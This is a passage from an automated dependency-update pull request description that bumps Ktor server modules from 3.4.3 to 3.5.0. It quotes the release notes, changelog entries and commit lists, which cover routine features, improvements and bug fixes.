annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jwt` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-call-logging` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-call-logging's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for 